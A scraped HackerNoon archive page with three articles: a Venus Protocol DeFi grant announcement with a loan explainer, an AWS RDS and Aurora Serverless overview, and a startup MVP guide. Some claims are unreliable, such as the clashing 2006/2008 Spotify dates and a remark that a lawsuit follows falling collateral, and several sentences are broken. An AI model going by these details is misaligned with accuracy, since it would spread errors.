2022 - HackerNoon Contributor of the Year - Science

Come to the Cryptozoic Eon's LinkedIn page for curated links and excerpts of the best writings on NFTs.

Nominated for 2022 - HackerNoon Contributor of the Year - Science

Nominated for 2022 - HackerNoon Contributor of the Year - Scaling

Nominated for 2022 - HackerNoon Contributor of the Year - Philosophy

Nominated for 2022 - HackerNoon Contributor of the Year - Economics

Nominated for 2022 - HackerNoon Contributor of the Year - Politics

Nominated for 2022 - HackerNoon Contributor of the Year - Art

A Brief History of Money

Promoting Innovation in the DeFi Ecosystem , Binance Smart Chain’s leading DeFi lending protocol, is introducing a grants programme to stimulate innovation within its ecosystem, encouraging DeFi breakthroughs that will lay the groundwork for wider institutional use in a multi-chain environment. Venus The proposal to start the grant programme intends to use the Venus treasury, which has several million dollars worth of XVS, to support community grants and protocol development. The Venus Grants Program is a well-organized effort to put this money to good use by allowing external development teams and individuals to contribute beneficial features and services to the Venus protocol. The funding programme supports a broad range of activities, including developing core protocol and additional projects built on creating alternative frontends and apps that integrate Venus, developer tools, code audits, and bounties. Proposals that focus on the community, such as instructional material grants and hosting events and hackathons, will also be considered. Brad Harrison, CEO of Venus, said: We’re especially excited to support applications that build upon the core Venus smart contracts. Yield aggregators, strategies, or even alternative frontends that help us further decentralize and increase reach with users. If you want to build it, we will support you in any way we can. The Venus Protocol is an algorithmic-based money market system that enables decentralized lending and borrowing. Cryptocurrency owners may use their holdings to provide collateral to the network, receiving a variable APY as a result. Borrowers may get low-cost, fast loans in stablecoins without liquidating their non-stablecoin digital assets. To secure the protocol, Venus borrows against crypto assets using collateral provided by the market and mints synthetic stablecoins with over-collateralized positions backed by a basket of cryptocurrencies. This creates a safe loan environment by paying lenders a compounded yearly interest rate per block while borrowers pay interest on the coin they borrow. Understanding DeFi Loans Crypto assets underlying value may rise or fall, but they do not earn interest if they lie idle in wallets. Simply owning a coin will not result in any profit. It is in this circumstance that Defi loans come into play. Defi loans allow users to lend their crypto to others in exchange for interest. Banks have historically made extensive use of this service. Anyone may now become a lender in the world of Defi. A lender may lend their assets to others and earn interest on such loans. This may be done via lending pools. Smart contracts allow users to combine their assets and transfer them to borrowers. The same is true for borrowers since each pool will approach borrowing differently. When you take out a bank loan, you must have collateral to back up your loan. The automobile, for example, is collateral for a car loan. The bank will confiscate the car if the user defaults on the loan. The decentralized system is similar; the main difference is anonymity and does not need any tangible assets as collateral. The borrower must provide something of value than the loan amount to get a loan. Smart contracts are employed to deposit this quantity of cash of at least equal value to the loan amount. Collaterals come in various shapes and sizes, and any crypto token may be used to repay a loan. For example, if a user wants to borrow one bitcoin, he must first deposit one bitcoin’s price in DAI. Furthermore, Bitcoin values continue to fluctuate significantly. When the collateral cost falls below the cost of the loan, a lawsuit may emerge. Now comes the issue of how to handle this circumstance. It could be easier to explain with an example. Assume a user requests a loan of 100 DAI. Borrowers must put up a minimum of 150 percent of the loan amount as collateral with MakerDAO. This immediately implies that the borrower must put up $150 in ETH as security for the loan. A liquidation penalty is applied when the collateral value falls below $150 ETH. Defi loans can transform the financial sector completely. Payments, trade, investments, insurance, lending, and borrowing are all initiatives to decentralize conventional financial services. As a result of its involvement with this fascinating technology, Defi lending has enormous potential to transform the global financial ecosystem. Catch all the breaking news, and Don’t forget to like the story!

Ethereum

Binance

Funding

MakerDAO

Winner of Noonies 2020 for the award Hacker Noon Contributor of the Year - DATA.

2020 - Hacker Noon Contributor of the Year in DATA

Venus Protocol Launches $1 Million Dollar Grant Program to Promote Innovation in DeFi  

In this article, we'll deep dive into all the basics to help you decide if AWS RDS is the right decision for your architecture and help you hit the ground running if you do end up AWS RDS. For many decades now, relational databases (RDS) have been the place to store your data. They are pretty flexible often use some kind of SQL dialect, which is one of the main languages taught in computer science classes, and widely understood by the average developer. Before the NoSQL movement started in 2009, there wasn't a question of whether relational databases were a good fit. The mainstream hosting providers didn't offer any alternatives. Amazon Relational Database Service, or short AWS RDS, is AWS's relational database offering and one of the first cloud services they had in their portfolio. It's also the most mature one. But this means that it came long before the serverless movement at AWS started, so it isn't the first pick for serverless architectures. If you want to leverage all your SQL knowledge but still get some serverless benefits in your next application, read on! This article will talk about AWS RDS and how it could be the database of choice. EC2 in Disguise First things first, RDS is just a service on top of EC2. While this might also be true for DynamoDB, the abstractions for RDS are much less sophisticated. In its most basic configuration, you don't tell AWS that you need a database with a specific number of tables; you tell them how many EC2 instances you need and what type of database should be installed on them. For example, you need a cluster of four memory-optimized EC2 instances with MySQL installed. Then you can use the AWS RDS endpoint and login credentials with a MySQL client of your choice to connect from your application. AWS will then keep track of OS and DB updates for you and keep the cluster running, starting and stopping instances as your traffic changes over time. This also means that you have to meddle with VPCs when using AWS RDS. A common issue with AWS Lambda to AWS RDS connections is timeouts. If your Lambda isn't in the same VPC as your RDS cluster, the function might not have permission to access it. The VPC binding is optional for Lambda functions, and you usually want to avoid it because it comes at quite some performance impact. But if you want to access a relational database, you have to bite the bullet. The billing for basic AWS RDS is by the hour your instances run, even if you don't have anyone using them. Not the serverless way, right? But at least you know what you have to pay upfront. Does AWS RDS have a free tier? Yes, AWS RDS also has a and . It's only a tiny db.t2.micro EC2 instance means one core and 1GB of memory, but it should be enough for a small or experimental workload. free tier instance 20GB of general-purpose storage for one year AWS Aurora A few years ago, AWS released its own database engine, Amazon Aurora. It's an alternative to MySQL and PostgreSQL, to which it's also API compatible. According to AWS, it's faster than both open-source database engines on the same instance types. While this meant some savings for people who already used this kind of database, Aurora later became part of AWS' serverless strategy. In 2018, they released Aurora Serverless, a particular configuration of Aurora that allows for on-demand billing and scaling. With Aurora Serverless, you can use all your SQL skills and still have some of the serverless benefits known from DynamoDB. Sadly not all of them. While it frees you from thinking about instances and allows you to think more abstract in capacity units, the experience won't be as seamless as with DynamoDB. Aurora Serverless Aurora Serverless allows scaling down to zero capacity, but AWS discourages this for production environments because it takes a few seconds to scale up and down. Also, the fact that this service is only available with the Aurora engine means it won't work with SQL Server or an Oracle DB. Aurora serverless even by removing even more non-serverless restrictions. got more awesome lately AWS RDS vs Aurora vs Aurora Serverless RDS is the base service, Aurora is a database engine you can use with RDS, and Aurora Serverless is a special serverless configuration for Aurora. RDS allows to scale up and down, too, so you can use these essential features with other database engines, but it can't go down to zero, and it's much slower in doing so. Aurora serverless can scale up and down in below 30 seconds. AWS RDS Proxy for Serverless apps While billing and scaling are huge problems serverless tries to solve, there is another problem relational databases pose to serverless applications, their long-living connections. Their creators build these databases with a long-running app server in mind. This means that considerable resources for a connection will be set up on the client and server-side at startup, and the app will reuse it for all requests. Things are the opposite with serverless backends built on AWS Lambda. If we take cold-starts into account, they need to reconnect to the database for every event they handle. This means the overhead of establishing a connection has to be done on every cold-start, which can exhaust a database server quickly. RDS Proxy tries to solve this issue by placing a proxy server between the database and the Lambda functions. This proxy server is now the one that gets hammered by Lambda invocations that constantly establish new connections to the database. The actual database server only has to keep the proxy connected and has more resources to do other work. Amazon RDS Proxy is now generally available for Aurora MySQL, Aurora PostgreSQL, RDS MySQL, and RDS PostgreSQL. Monitoring AWS RDS with Dashbird With its latest update, Dashbird now includes monitoring RDS instances, clusters, and proxies. So, it's not only DynamoDB anymore if you want to build something with Dashbird insights! Insights per cluster: CPU and memory, network traffic, number of connections, reads, writes, used storage, and lag. *Insights per proxy: database connections, client connections, and query requests. clusters/instances/proxies not tagged, enhanced monitoring not enabled Well-Architected insights and tips: Also Published Here

Amazon

Oracle

2022 - HackerNoon Contributor of the Year - Aws

2022 - HackerNoon Contributor of the Year - Cloud Computing

2022 - HackerNoon Contributor of the Year - Devops

2022 - HackerNoon Contributor of the Year - Serverless

Serverless af

Nominated for 2022 - HackerNoon Contributor of the Year - Cloud Computing

Nominated for 2022 - HackerNoon Contributor of the Year - Devops

Nominated for 2022 - HackerNoon Contributor of the Year - Serverless

Nominated for 2022 - HackerNoon Contributor of the Year - Aws

AWS RDS from a Serverless Perspective

In our latest blog post, we've discussed what a is. It's the easiest tool you can build in order to test your idea and learn through collecting feedback from your early adopters. And also, how to build it. Minimal Viable Product It's a fact that in this dynamic and turbulent world, full of brilliant ideas ready to be born into great startups, every entrepreneur is facing the same challenge - a blank page! That is one of the main reasons why many startups are failing. The blank page has endless possibilities and no guidelines. And the absence of form scares off potential entrepreneurs before they start. The absence of form exists because of the lack of feedback, so entrepreneurs don't know whether they are making the right decisions. Successful entrepreneurs see the blank page differently. They will shape a blank page into many ideas, then a plan, and at the end a product. They will transform the page into a process that will allow for that evolution to occur. Successful entrepreneurs don’t rely on the intuition of what users want, instead, they learn it through a process of hypothesis and experimentation. They discover the best decisions for their business by building an MVP. MVPs can come in a thousand shapes and forms. So, in this article, we will focus on the most popular ones. We will give you a simple explanation and examples from successful startups. We're sure that it will help you decide which type of solution is most suitable! Content-related MVP This group of MVPs is based on content. It will allow you to present the idea behind your product to your potential users or investors without building a prototype. And now you probably have a question: ‘Isn't MVP first and foremost a product?’ Yes! But, it’s possible to catch potential leads and measure purchase intent without building it. A landing page is the most used form of MVP because is easy to make. A simple website, a short description of your product, and a CTA (call to action) button can be a very reliable test of people’s interest. For a quick result – you can run an AdWords campaign on your main keywords and see people's reactions. Main tips: ✔︎ Make it look aesthetically appealing, so you can grab people’s attention! ✔︎ Try to explain all the features from the user’s perspective. ✔︎ Ask people to leave their e-mails. Once the MVP is live, you’ll be able to inform early adopters about your product. Example: Buffer.com One of the most popular platforms for scheduling social media posts was tested through various landing pages before the first line of its code was written. Joel Gascoigne, the founder, build a simple website describing Buffer’s functionalities and a page with “Plans & Pricing”. Everyone who clicked on could be a potential subscriber. Most importantly, the product wasn’t ready yet. The page only contained a piece of information that it will be launched soon and a possibility of signing up for a newsletter. Very easy and effective! 🤩 Pros Can be built cheaply and quickly. Can easily be matched with online ads. Can be tested and optimized easily. 😩 Cons The conversion rate is low (about 1-3% of people sign up). Hard to adapt all vital information into one page. A landing page that's not aesthetic can hurt your brand. This type of MVP is another popular content-related MVP. One minute-long video is more than enough to explain your product. An interesting and creative video catches people's attention more easily than a simple description. Also, can go viral very quickly. Example: dropbox.com https://www.youtube.com/watch?v=w4eTR7tci6A DropBox (a platform for sharing files on different devices) proved the effectiveness of their MVP in the form of a video. Because of the complexity of their innovative product, they test it before investing resources for development. DropBox created a short animated video for their MVP. The subscriptions sky-rocketed overnight! 🤩 Pros Explains your product in a simple way. People are interested in watching a short video. Good for branding. 😩 Cons You may have to spend a lot of time making an explainer video and getting the right message. Functionality-related MVP This type of MVP is based on functionality. Can be used when content-related MVP wouldn’t give you enough feedback from your early adopters. Wizard of Oz MVP is where you essentially put up a front that gives your early adopters the impression that you have a product. Also, users have the opportunity to experience it. It’s a very effective way of checking if you have a wanted product before you actually build it. Example: zappos.com Zappos (an online shoe retailer) is the most famous example of Wizard of Oz MVP. Nick, the founder tested the idea before creating the product. He went to local stores, photographed shoes, and sell them online. All that he needed was a very simple website and a small budget for ads to get traffic. From the customer’s side, it looked like a fully functional website. 🤩 Pros You can set up this MVP cheaply and quickly. You can use social media to generate interest. 😩 Cons You have to spend a lot of time and effort to manually perform the service. Customers can feel cheated if they come to know that there is no real product. Single Feature MVP is when you develop your actual product and sell it to your potential users. Even though the term means developing 'one single’ feature for the MVP, it doesn’t necessarily mean that. Single Feature MVPs are those that focus on solving the core problem of the user. And to do so, you may need more features in your minimum viable product, but they must be prioritized. Keep ‘must-have’ features and eliminate ‘nice to have’. While defining and prioritizing the core features to build, consider the following things: Unique Selling Point that offers users value and stand among the competition. Leave the other features for later development. Example: spotify.com Spotify today is the global leader in the music industry. But how it reached the top of success is an interesting story. In 2008 Daniel Ek and Martin Lorentzon identified the opportunity that the music industry had nothing to help the music lovers stream songs. In 2006 after just 4 months of development, they launched their first prototype. 🤩 Pros Focused on solving one specific problem for specific users. You can get your product to market fast with low costs. You can expand it later without much difficulty. 😩 Cons You have to invest in development. You may have a problem figuring out which feature you should focus on. Before choosing the right type of MVP for your startup, you should define your goal. Understand your target, estimate the resources, choose the most suitable type MVP for your startup, and get ready to beat the market. As a software development company, we are always here to help you make the right decision and turn your ideas into a successful startup! ★ NEXT STEP ⇢ In this post, we went through what are the most popular types of MVP. In the following post, we will explain how to Stay tuned. define and prioritize the features for your MVP. First published here

HackerNoon Tech Stories Archive February 9th, 2022

Cloud-Native Buildpacks, BuildKit, and Container Images: Qu'est-ce Que C'est?

@sssslyz
Shem Leong

How to Secure Your Vaccination Status

@TheMarkup
The Markup

How to Communicate With the Beneficiaries of Your Nonprofit in 2022

@techsoup
TechSoup

What are the Best Data Analytics Tools?

@saajan-sharma
Saajan Sharma

What is the Long-Term Impact of Living in a Technological World?

@felixyim
Felix

Ways to Use Images in Your Marketing Campaigns

@mohammedilyas
Muhammad Ilyas Kpada

Automated Offline Backups Can Save the World

@acroname
Acroname

"Work hard and be ready for failure before success"

@leodigitalmarketing
LEO Digital Marketing

How to Apply A/B Split Testing to Marketing

@leodigitalmarketing
LEO Digital Marketing

How a Supply-Chain Breach Put at Risk Atlassian Accounts

@checkpoint
Check Point Software

What Working on an Analytics Product Can Teach Us About Data

@chartmogul
ChartMogul

A Brief History of Money

@ralphbenko
Ralph Benko

Venus Protocol Launches $1 Million Dollar Grant Program to Promote Innovation in DeFi

@IshanOnTech
IshanOnTech

AWS RDS from a Serverless Perspective

@taavi-rehemagi
Taavi Rehemägi

How to Choose the Right Type of MVP for Your Startup Idea

@codechem
CodeChem

HackerNoon Tech Stories Archive February 9th, 2022

@sssslyzShem Leong

@TheMarkupThe Markup

@techsoupTechSoup

@saajan-sharmaSaajan Sharma

@felixyimFelix

@mohammedilyasMuhammad Ilyas Kpada

@acronameAcroname

@leodigitalmarketingLEO Digital Marketing

@leodigitalmarketingLEO Digital Marketing

@checkpointCheck Point Software

@chartmogulChartMogul

@ralphbenkoRalph Benko

@IshanOnTechIshanOnTech

@taavi-rehemagiTaavi Rehemägi

@codechemCodeChem

@sssslyz
Shem Leong

@TheMarkup
The Markup

@techsoup
TechSoup

@saajan-sharma
Saajan Sharma

@felixyim
Felix

@mohammedilyas
Muhammad Ilyas Kpada

@acroname
Acroname

@leodigitalmarketing
LEO Digital Marketing

@leodigitalmarketing
LEO Digital Marketing

@checkpoint
Check Point Software

@chartmogul
ChartMogul

@ralphbenko
Ralph Benko

@IshanOnTech
IshanOnTech

@taavi-rehemagi
Taavi Rehemägi

@codechem
CodeChem